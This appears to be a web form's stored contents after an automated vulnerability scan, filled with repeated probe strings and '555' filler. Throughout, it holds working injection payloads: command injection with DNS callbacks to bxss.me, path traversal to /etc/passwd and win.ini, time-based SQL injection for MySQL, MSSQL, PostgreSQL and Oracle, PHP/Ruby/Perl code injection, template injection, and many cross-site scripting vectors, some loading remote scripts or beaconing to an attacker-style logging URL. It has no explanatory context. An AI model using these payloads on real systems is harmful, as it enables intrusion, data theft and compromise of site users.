Can curiosity may end shameless explained. True high on said mr on come. An do mr design at little myself wholly entire though.
Can curiosity may end shameless explained. True high on said mr on come. An do mr design at little myself wholly entire though.
Can curiosity may end shameless explained. True high on said mr on come. An do mr design at little myself wholly entire though.
Can curiosity may end shameless explained. True high on said mr on come. An do mr design at little myself wholly entire though.
Can curiosity may end shameless explained. True high on said mr on come. An do mr design at little myself wholly entire though.
Can curiosity may end shameless explained. True high on said mr on come. An do mr design at little myself wholly entire though.
Hey there
sdfgdfgdfg dfg dfg dfg
ASDAD
Yasta fashe5
afdsfads
afdafdsf
adsfadsf
555
555
555
555
1SnDDyxlO
555
555
555
555
9aSJmI9F
555
555
555
555
555
response.write(9505470*9170045)
'+response.write(9505470*9170045)+'
555
"+response.write(9505470*9170045)+"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
../../../../../../../../../../../../../../windows/win.ini
555
555
../555
echo lonxah$()\ dtkqwh\nz^xyu||a #' &echo lonxah$()\ dtkqwh\nz^xyu||a #|" &echo lonxah$()\ dtkqwh\nz^xyu||a #
&echo djobbs$()\ scdlyf\nz^xyu||a #' &echo djobbs$()\ scdlyf\nz^xyu||a #|" &echo djobbs$()\ scdlyf\nz^xyu||a #
555
555
|echo uhiwxk$()\ nxemae\nz^xyu||a #' |echo uhiwxk$()\ nxemae\nz^xyu||a #|" |echo uhiwxk$()\ nxemae\nz^xyu||a #
555
555
(nslookup hitymkqornjzv60ecf.bxss.me||perl -e "gethostbyname('hitymkqornjzv60ecf.bxss.me')")
555
555
555
$(nslookup hitudjvxfnfxya3d17.bxss.me||perl -e "gethostbyname('hitudjvxfnfxya3d17.bxss.me')")
555
555
555
&(nslookup hitzgrstnwfgld81e9.bxss.me||perl -e "gethostbyname('hitzgrstnwfgld81e9.bxss.me')")&'\"`0&(nslookup hitzgrstnwfgld81e9.bxss.me||perl -e "gethostbyname('hitzgrstnwfgld81e9.bxss.me')")&`'
555<esi:include src="http://bxss.me/rpb.png"/>
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
|(nslookup hitsjqxxcsvut3582a.bxss.me||perl -e "gethostbyname('hitsjqxxcsvut3582a.bxss.me')")
555
`(nslookup hitjqtpyeivrf994d2.bxss.me||perl -e "gethostbyname('hitjqtpyeivrf994d2.bxss.me')")`
555
555
;(nslookup hithlgtkiqutveee77.bxss.me||perl -e "gethostbyname('hithlgtkiqutveee77.bxss.me')")|(nslookup hithlgtkiqutveee77.bxss.me||perl -e "gethostbyname('hithlgtkiqutveee77.bxss.me')")&(nslookup hithlgtkiqutveee77.bxss.me||perl -e "gethostbyname('hithlgtkiqutveee77.bxss.me')")
555
555
555
555
555
${9999609+9999574}
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555&n941391=v976992
555
555
555
)
555
555
!(()&&!|*|*|
555
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
^(#$!@#$)(()))******
555
1some_inexistent_file_with_long_name%00.jpg
Http://bxss.me/t/fit.txt
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
555
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"()
'.gethostbyname(lc('hitwj'.'uywtpkwadbc0c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(82).chr(121).chr(85).'
555
".gethostbyname(lc("hitbx"."huulbqmca5c31.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(85).chr(114).chr(85)."
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
HttP://bxss.me/t/xss.html?%00
555
555
bxss.me/t/xss.html?%00
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
"+"A".concat(70-3).concat(22*4).concat(117).concat(74).concat(108).concat(81)+(require"socket" Socket.gethostbyname("hitle"+"waurvvbofa4ee.bxss.me.")[3].to_s)+"
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
'+'A'.concat(70-3).concat(22*4).concat(120).concat(65).concat(103).concat(87)+(require'socket' Socket.gethostbyname('hitwy'+'oofooloo754f7.bxss.me.')[3].to_s)+'
';print(md5(31337));$a='
555
555
";print(md5(31337));$a="
555
${@print(md5(31337))}
555
555
555
${@print(md5(31337))}\
555
555
555
'.print(md5(31337)).'
555
/xfs.bxss.me
555
555
555
555
555
555
555
555
'"
555
555
<!--
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9081169*9300724)
555
'+response.write(9081169*9300724)+'
555'"()&%<acx><ScRiPt >rWQM(9788)</ScRiPt>
555
"+response.write(9081169*9300724)+"
555
555
'"()&%<acx><ScRiPt >rWQM(9294)</ScRiPt>
555
555
5559316511
555
555
555
555
Hszt8ldL
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
echo hbjwyz$()\ dejtgz\nz^xyu||a #' &echo hbjwyz$()\ dejtgz\nz^xyu||a #|" &echo hbjwyz$()\ dejtgz\nz^xyu||a #
&echo bfamip$()\ cpaxyi\nz^xyu||a #' &echo bfamip$()\ cpaxyi\nz^xyu||a #|" &echo bfamip$()\ cpaxyi\nz^xyu||a #
|echo bnsagx$()\ wlkihl\nz^xyu||a #' |echo bnsagx$()\ wlkihl\nz^xyu||a #|" |echo bnsagx$()\ wlkihl\nz^xyu||a #
555
555
(nslookup hitolaaacxziz7f4f8.bxss.me||perl -e "gethostbyname('hitolaaacxziz7f4f8.bxss.me')")
555
555
555
$(nslookup hitrhonhpsgct48979.bxss.me||perl -e "gethostbyname('hitrhonhpsgct48979.bxss.me')")
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
&(nslookup hitniditvcmdd665e7.bxss.me||perl -e "gethostbyname('hitniditvcmdd665e7.bxss.me')")&'\"`0&(nslookup hitniditvcmdd665e7.bxss.me||perl -e "gethostbyname('hitniditvcmdd665e7.bxss.me')")&`'
../../../../../../../../../../../../../../etc/passwd
|(nslookup hitpoijdisfda76817.bxss.me||perl -e "gethostbyname('hitpoijdisfda76817.bxss.me')")
../../../../../../../../../../../../../../windows/win.ini
555
`(nslookup hitfbixfkmcql31c86.bxss.me||perl -e "gethostbyname('hitfbixfkmcql31c86.bxss.me')")`
../555
;(nslookup hitoxnhnsasyf1b1c2.bxss.me||perl -e "gethostbyname('hitoxnhnsasyf1b1c2.bxss.me')")|(nslookup hitoxnhnsasyf1b1c2.bxss.me||perl -e "gethostbyname('hitoxnhnsasyf1b1c2.bxss.me')")&(nslookup hitoxnhnsasyf1b1c2.bxss.me||perl -e "gethostbyname('hitoxnhnsasyf1b1c2.bxss.me')")
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
555
555
555
${10000395+10000349}
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555&n961797=v920141
555
555
555
555
555
555
555
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
555
555
1some_inexistent_file_with_long_name%00.jpg
)
555
555
555
Http://bxss.me/t/fit.txt
555
http://bxss.me/t/fit.txt%3F.jpg
!(()&&!|*|*|
bxss.me
^(#$!@#$)(()))******
555
555
555
555
555
555
'"()
555
555
555
555
555
'.gethostbyname(lc('hitdq'.'zgmiiyqsb4a6f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(65).chr(102).chr(87).'
555
555
".gethostbyname(lc("hittw"."sdeoiyvgd3930.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(72).chr(109).chr(65)."
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
HttP://bxss.me/t/xss.html?%00
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
bxss.me/t/xss.html?%00
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(121).concat(88).concat(98).concat(87)+(require"socket" Socket.gethostbyname("hitum"+"avvmrvby91d36.bxss.me.")[3].to_s)+"
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
'+'A'.concat(70-3).concat(22*4).concat(112).concat(90).concat(98).concat(85)+(require'socket' Socket.gethostbyname('hitmn'+'nygaprnt3bdc8.bxss.me.')[3].to_s)+'
555
';print(md5(31337));$a='
555
/xfs.bxss.me
555
";print(md5(31337));$a="
555
555
${@print(md5(31337))}
555
555
555
555
555
555
555
555
555
${@print(md5(31337))}\
'"
'.print(md5(31337)).'
<!--
555
555
555
555
555
response.write(9840921*9271047)
555
'+response.write(9840921*9271047)+'
555
555
"+response.write(9840921*9271047)+"
555
555
555
555
555
555'"()&%<acx><ScRiPt >rJtG(9321)</ScRiPt>
555
555
555
555
555
555
'"()&%<acx><ScRiPt >rJtG(9942)</ScRiPt>
555
555
555
5559040950
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
5CqvBiKY
555
555
555
555
555
555
echo njocwz$()\ skqmzf\nz^xyu||a #' &echo njocwz$()\ skqmzf\nz^xyu||a #|" &echo njocwz$()\ skqmzf\nz^xyu||a #
555
555
555
&echo ikfkzw$()\ mzdheb\nz^xyu||a #' &echo ikfkzw$()\ mzdheb\nz^xyu||a #|" &echo ikfkzw$()\ mzdheb\nz^xyu||a #
555
|echo zicjpi$()\ fxlqne\nz^xyu||a #' |echo zicjpi$()\ fxlqne\nz^xyu||a #|" |echo zicjpi$()\ fxlqne\nz^xyu||a #
555
555
../../../../../../../../../../../../../../etc/passwd
(nslookup hitfhooxcmdmq90395.bxss.me||perl -e "gethostbyname('hitfhooxcmdmq90395.bxss.me')")
555
../../../../../../../../../../../../../../windows/win.ini
$(nslookup hitijmkiegtsn14a7e.bxss.me||perl -e "gethostbyname('hitijmkiegtsn14a7e.bxss.me')")
555
555
&(nslookup hitdounaqxrhhf1b22.bxss.me||perl -e "gethostbyname('hitdounaqxrhhf1b22.bxss.me')")&'\"`0&(nslookup hitdounaqxrhhf1b22.bxss.me||perl -e "gethostbyname('hitdounaqxrhhf1b22.bxss.me')")&`'
555
|(nslookup hitwuzuzilghu8c7cd.bxss.me||perl -e "gethostbyname('hitwuzuzilghu8c7cd.bxss.me')")
../555
`(nslookup hitlioektymasa1afc.bxss.me||perl -e "gethostbyname('hitlioektymasa1afc.bxss.me')")`
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
;(nslookup hitzrrwljmdtte19c3.bxss.me||perl -e "gethostbyname('hitzrrwljmdtte19c3.bxss.me')")|(nslookup hitzrrwljmdtte19c3.bxss.me||perl -e "gethostbyname('hitzrrwljmdtte19c3.bxss.me')")&(nslookup hitzrrwljmdtte19c3.bxss.me||perl -e "gethostbyname('hitzrrwljmdtte19c3.bxss.me')")
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
${9999685+9999158}
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
555
555&n946633=v928626
555
1some_inexistent_file_with_long_name%00.jpg
555
Http://bxss.me/t/fit.txt
555
)
555
!(()&&!|*|*|
http://bxss.me/t/fit.txt%3F.jpg
555
^(#$!@#$)(()))******
555
555
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"()
555
555
555
555
555
555
'.gethostbyname(lc('hitbv'.'mlsltmcyebbe2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(85).chr(111).chr(82).'
555
555
".gethostbyname(lc("hitob"."pnxljgdd2bc33.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(72).chr(110).chr(73)."
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
HttP://bxss.me/t/xss.html?%00
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
"+"A".concat(70-3).concat(22*4).concat(108).concat(68).concat(98).concat(70)+(require"socket" Socket.gethostbyname("hithl"+"ebhpuwzhd95e3.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(103).concat(79).concat(108).concat(87)+(require'socket' Socket.gethostbyname('hitfz'+'ffvxjrgg767d5.bxss.me.')[3].to_s)+'
';print(md5(31337));$a='
bxss.me/t/xss.html?%00
555
555
";print(md5(31337));$a="
555
${@print(md5(31337))}
555
${@print(md5(31337))}\
'.print(md5(31337)).'
555
555
555
555
555
/xfs.bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"
555
555
<!--
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555'"()&%<acx><ScRiPt >Dfse(9790)</ScRiPt>
555
555
555
'"()&%<acx><ScRiPt >Dfse(9775)</ScRiPt>
555
555
5559587812
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
mPatG3V0
-1 OR 2+850-850-1=0+0+0+1 --
-1 OR 2+864-864-1=0+0+0+1
-1' OR 2+777-777-1=0+0+0+1 --
5CYe4a9G
-1' OR 2+153-153-1=0+0+0+1 or 'ZYU9rcIU'='
-1 OR 2+744-744-1=0+0+0+1 --
-1" OR 2+962-962-1=0+0+0+1 --
-1 OR 2+876-876-1=0+0+0+1
-1' OR 2+68-68-1=0+0+0+1 --
Dyiu3RG9
-1' OR 2+193-193-1=0+0+0+1 or 'Gbv9cXOK'='
-1 OR 2+727-727-1=0+0+0+1 --
-1" OR 2+551-551-1=0+0+0+1 --
-1 OR 2+122-122-1=0+0+0+1
-1' OR 2+712-712-1=0+0+0+1 --
-1' OR 2+560-560-1=0+0+0+1 or 'CPMKGliP'='
-1" OR 2+436-436-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
if(now()=sysdate(),sleep(15),0)
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
CXJBPxxG'; waitfor delay '0:0:15' --
iWVeO8YV'; waitfor delay '0:0:15' --
0TZLvNzT'; waitfor delay '0:0:15' --
-5 OR 227=(SELECT 227 FROM PG_SLEEP(15))--
-5 OR 777=(SELECT 777 FROM PG_SLEEP(15))--
-5 OR 822=(SELECT 822 FROM PG_SLEEP(15))--
-5) OR 21=(SELECT 21 FROM PG_SLEEP(15))--
-5) OR 239=(SELECT 239 FROM PG_SLEEP(15))--
-5) OR 857=(SELECT 857 FROM PG_SLEEP(15))--
-1)) OR 253=(SELECT 253 FROM PG_SLEEP(15))--
-1)) OR 780=(SELECT 780 FROM PG_SLEEP(15))--
-1)) OR 228=(SELECT 228 FROM PG_SLEEP(15))--
CxfemLn2' OR 646=(SELECT 646 FROM PG_SLEEP(15))--
8UF4BMZo' OR 791=(SELECT 791 FROM PG_SLEEP(15))--
SlWHbpnD' OR 644=(SELECT 644 FROM PG_SLEEP(15))--
Rt8XLyAR') OR 759=(SELECT 759 FROM PG_SLEEP(15))--
li07gs6w') OR 239=(SELECT 239 FROM PG_SLEEP(15))--
oaajVcYw') OR 774=(SELECT 774 FROM PG_SLEEP(15))--
2QEHFder')) OR 430=(SELECT 430 FROM PG_SLEEP(15))--
WGNGDogn')) OR 328=(SELECT 328 FROM PG_SLEEP(15))--
96UZm1tr')) OR 409=(SELECT 409 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1'"
@@5MpNg
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@uTDWj
@@Q0wFs
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
2gCqHsoE
555
555
555
555
555
555
555
555
555
555
response.write(9812893*9406977)
555
'+response.write(9812893*9406977)+'
555
555
555
555
555
555
555
"+response.write(9812893*9406977)+"
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
../../../../../../../../../../../../../../etc/passwd
555
../../../../../../../../../../../../../../windows/win.ini
555
echo czqoew$()\ mddogn\nz^xyu||a #' &echo czqoew$()\ mddogn\nz^xyu||a #|" &echo czqoew$()\ mddogn\nz^xyu||a #
555
555
&echo avlzdi$()\ cctftd\nz^xyu||a #' &echo avlzdi$()\ cctftd\nz^xyu||a #|" &echo avlzdi$()\ cctftd\nz^xyu||a #
555
../555
|echo qluofa$()\ ahygde\nz^xyu||a #' |echo qluofa$()\ ahygde\nz^xyu||a #|" |echo qluofa$()\ ahygde\nz^xyu||a #
555
555
(nslookup hitflkdplrmkqe68a5.bxss.me||perl -e "gethostbyname('hitflkdplrmkqe68a5.bxss.me')")
555
$(nslookup hitwqamfykttq43220.bxss.me||perl -e "gethostbyname('hitwqamfykttq43220.bxss.me')")
555
555
555
&(nslookup hitllqrznzfvw42844.bxss.me||perl -e "gethostbyname('hitllqrznzfvw42844.bxss.me')")&'\"`0&(nslookup hitllqrznzfvw42844.bxss.me||perl -e "gethostbyname('hitllqrznzfvw42844.bxss.me')")&`'
555
555
|(nslookup hitnnitwxzhtbf3ea5.bxss.me||perl -e "gethostbyname('hitnnitwxzhtbf3ea5.bxss.me')")
555
555
555
`(nslookup hitbmbqzudekb27e7b.bxss.me||perl -e "gethostbyname('hitbmbqzudekb27e7b.bxss.me')")`
555
555<esi:include src="http://bxss.me/rpb.png"/>
${9999436+9999295}
;(nslookup hitsmhkcjikyp4f29e.bxss.me||perl -e "gethostbyname('hitsmhkcjikyp4f29e.bxss.me')")|(nslookup hitsmhkcjikyp4f29e.bxss.me||perl -e "gethostbyname('hitsmhkcjikyp4f29e.bxss.me')")&(nslookup hitsmhkcjikyp4f29e.bxss.me||perl -e "gethostbyname('hitsmhkcjikyp4f29e.bxss.me')")
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555&n962263=v908358
555
555
555
555
555
'.gethostbyname(lc('hitye'.'ghozjgxa04f25.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(81).chr(111).chr(83).'
555
'"()
555
".gethostbyname(lc("hitlf"."csqqqkspd7461.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(86).chr(111).chr(85)."
555
555
555
)
555
!(()&&!|*|*|
555
555
555
555
555
^(#$!@#$)(()))******
555
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
555
555
555
1some_inexistent_file_with_long_name%00.jpg
555
555
555
555
Http://bxss.me/t/fit.txt
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
bxss.me
555
555
555
555
555
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(107).concat(85).concat(97).concat(85)+(require"socket" Socket.gethostbyname("hiten"+"ddrjbhdo91eb4.bxss.me.")[3].to_s)+"
555
555
555
HttP://bxss.me/t/xss.html?%00
'+'A'.concat(70-3).concat(22*4).concat(97).concat(85).concat(100).concat(74)+(require'socket' Socket.gethostbyname('hitnq'+'zkbzxefx93892.bxss.me.')[3].to_s)+'
555
555
bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
';print(md5(31337));$a='
555
/xfs.bxss.me
555
";print(md5(31337));$a="
555
555
555
555
${@print(md5(31337))}
555
555
555
555
${@print(md5(31337))}\
555
555
555
'.print(md5(31337)).'
555
555
555
555
'"
555
<!--
555
555
555
555
555
555
555
555
555
555
555'"()&%<acx><ScRiPt >tTcC(9679)</ScRiPt>
555
555
'"()&%<acx><ScRiPt >tTcC(9282)</ScRiPt>
555
555
555
5559701060
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
7shhcCsG
-1 OR 2+200-200-1=0+0+0+1 --
-1 OR 2+325-325-1=0+0+0+1
-1' OR 2+980-980-1=0+0+0+1 --
-1' OR 2+516-516-1=0+0+0+1 or 'YvHAtGqG'='
-1" OR 2+167-167-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
ZWsh8rNy'; waitfor delay '0:0:15' --
-5 OR 165=(SELECT 165 FROM PG_SLEEP(15))--
-5) OR 723=(SELECT 723 FROM PG_SLEEP(15))--
-1)) OR 484=(SELECT 484 FROM PG_SLEEP(15))--
peNlLSj9' OR 209=(SELECT 209 FROM PG_SLEEP(15))--
hXJ0ALtF') OR 635=(SELECT 635 FROM PG_SLEEP(15))--
HHuGSIV1')) OR 367=(SELECT 367 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@UfQKf
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555'"()&%<acx><ScRiPt >eMMn(9029)</ScRiPt>
555
'"()&%<acx><ScRiPt >eMMn(9267)</ScRiPt>
555
5559758774
555
acu1738%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca1738
555
acux1002%C0%BEz1%C0%BCz2a%90bcxuca1002
555
<%={{={@{#{${acx}}%>
555
<th:t="${acx}#foreach
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
555
acx{{98991*97996}}xca
555
acx[[${98991*97996}]]xca
555
acx__${98991*97996}__::.x
555
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555<ScRiPt >eMMn(9950)</ScRiPt>
555
555
555<WULBC1>ZEHR3[!+!]</WULBC1>
555
555<script>eMMn(9000)</script>
555
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%65%4D%4D%6E%28%39%37%33%35%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555
555<ScRiPt >eMMn(9945)</ScRiPt>
555
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9956></ScRiPt>
555
555< ScRiPt >eMMn(9951)</ScRiPt>
555
555<isindex type=image src=1 onerror=eMMn(9104)>
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9758'>
555
555<body onload=eMMn(9701)>
555
555
555<img src=//xss.bxss.me/t/dot.gif onload=eMMn(9732)>
555
555<img src=xyz OnErRor=eMMn(9510)>
555
555<img/src=">" onerror=alert(9009)>
555
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%65%4D%4D%6E%289055%29%3C%2F%73%43%72%69%70%54%3E
555\u003CScRiPt\eMMn(9987)\u003C/sCripT\u003E
555
555<ScRiPt>eMMn(9902)</sCripT>
555
555
555<input autofocus onfocus=eMMn(9038)>
<a HrEF=http://xss.bxss.me></a>
555
555
<a HrEF=jaVaScRiPT:>
555}body{acu:Expre/**/SSion(eMMn(9313))}
555
555hfqmj <ScRiPt >eMMn(9205)</ScRiPt>
555
555<WZUPDQ>JNYOD[!+!]</WZUPDQ>
555
555<ifRAme sRc=9305.com></IfRamE>
555
555<aOHuFns x=9735>
555
555<img sRc='http://attacker-9528/log.php?
555<ayl0ZaS<
555
555
555
555
1CztazDVaNO
555
555
555
response.write(9617299*9638883)
555
555
'+response.write(9617299*9638883)+'
555
555
"+response.write(9617299*9638883)+"
555
555
555
555
555
555
555
555
555
RXDx4fXS
555
555
555
555
555
555
555
555
555
555
555
555
echo ucsket$()\ yzrcgl\nz^xyu||a #' &echo ucsket$()\ yzrcgl\nz^xyu||a #|" &echo ucsket$()\ yzrcgl\nz^xyu||a #
555
555
555
&echo xkwzom$()\ tayqxt\nz^xyu||a #' &echo xkwzom$()\ tayqxt\nz^xyu||a #|" &echo xkwzom$()\ tayqxt\nz^xyu||a #
555
../../../../../../../../../../../../../../etc/passwd
|echo hfgdnf$()\ kbfhyh\nz^xyu||a #' |echo hfgdnf$()\ kbfhyh\nz^xyu||a #|" |echo hfgdnf$()\ kbfhyh\nz^xyu||a #
555
../../../../../../../../../../../../../../windows/win.ini
(nslookup hitqhygylraui2365a.bxss.me||perl -e "gethostbyname('hitqhygylraui2365a.bxss.me')")
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
$(nslookup hitdhaajzvzgk330ca.bxss.me||perl -e "gethostbyname('hitdhaajzvzgk330ca.bxss.me')")
555
555
../555
&(nslookup hitdwcarqftexb2291.bxss.me||perl -e "gethostbyname('hitdwcarqftexb2291.bxss.me')")&'\"`0&(nslookup hitdwcarqftexb2291.bxss.me||perl -e "gethostbyname('hitdwcarqftexb2291.bxss.me')")&`'
555
555
|(nslookup hitdeoiimbujv953af.bxss.me||perl -e "gethostbyname('hitdeoiimbujv953af.bxss.me')")
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
`(nslookup hitxskpyqoheic0ee9.bxss.me||perl -e "gethostbyname('hitxskpyqoheic0ee9.bxss.me')")`
;(nslookup hitcyoevboduleba11.bxss.me||perl -e "gethostbyname('hitcyoevboduleba11.bxss.me')")|(nslookup hitcyoevboduleba11.bxss.me||perl -e "gethostbyname('hitcyoevboduleba11.bxss.me')")&(nslookup hitcyoevboduleba11.bxss.me||perl -e "gethostbyname('hitcyoevboduleba11.bxss.me')")
555
${9999150+10000180}
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
555
1some_inexistent_file_with_long_name%00.jpg
Http://bxss.me/t/fit.txt
555
555
555&n949417=v917143
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
555
bxss.me
)
555
555
!(()&&!|*|*|
555
555
'"()
^(#$!@#$)(()))******
555
555
555
555
555
555
555
'.gethostbyname(lc('hitww'.'ytzkpelk75e9e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(76).chr(105).chr(82).'
555
555
555
555
".gethostbyname(lc("hitcy"."qpodjwpc401ed.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(69).chr(118).chr(87)."
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
555
555
555
555
';print(md5(31337));$a='
555
555
555
HttP://bxss.me/t/xss.html?%00
"+"A".concat(70-3).concat(22*4).concat(107).concat(90).concat(103).concat(86)+(require"socket" Socket.gethostbyname("hitgo"+"ecnjbako94b51.bxss.me.")[3].to_s)+"
555
";print(md5(31337));$a="
555
555
'+'A'.concat(70-3).concat(22*4).concat(105).concat(75).concat(107).concat(79)+(require'socket' Socket.gethostbyname('hitgn'+'bbulrxracae85.bxss.me.')[3].to_s)+'
${@print(md5(31337))}
555
555
555
555
bxss.me/t/xss.html?%00
555
${@print(md5(31337))}\
555
555
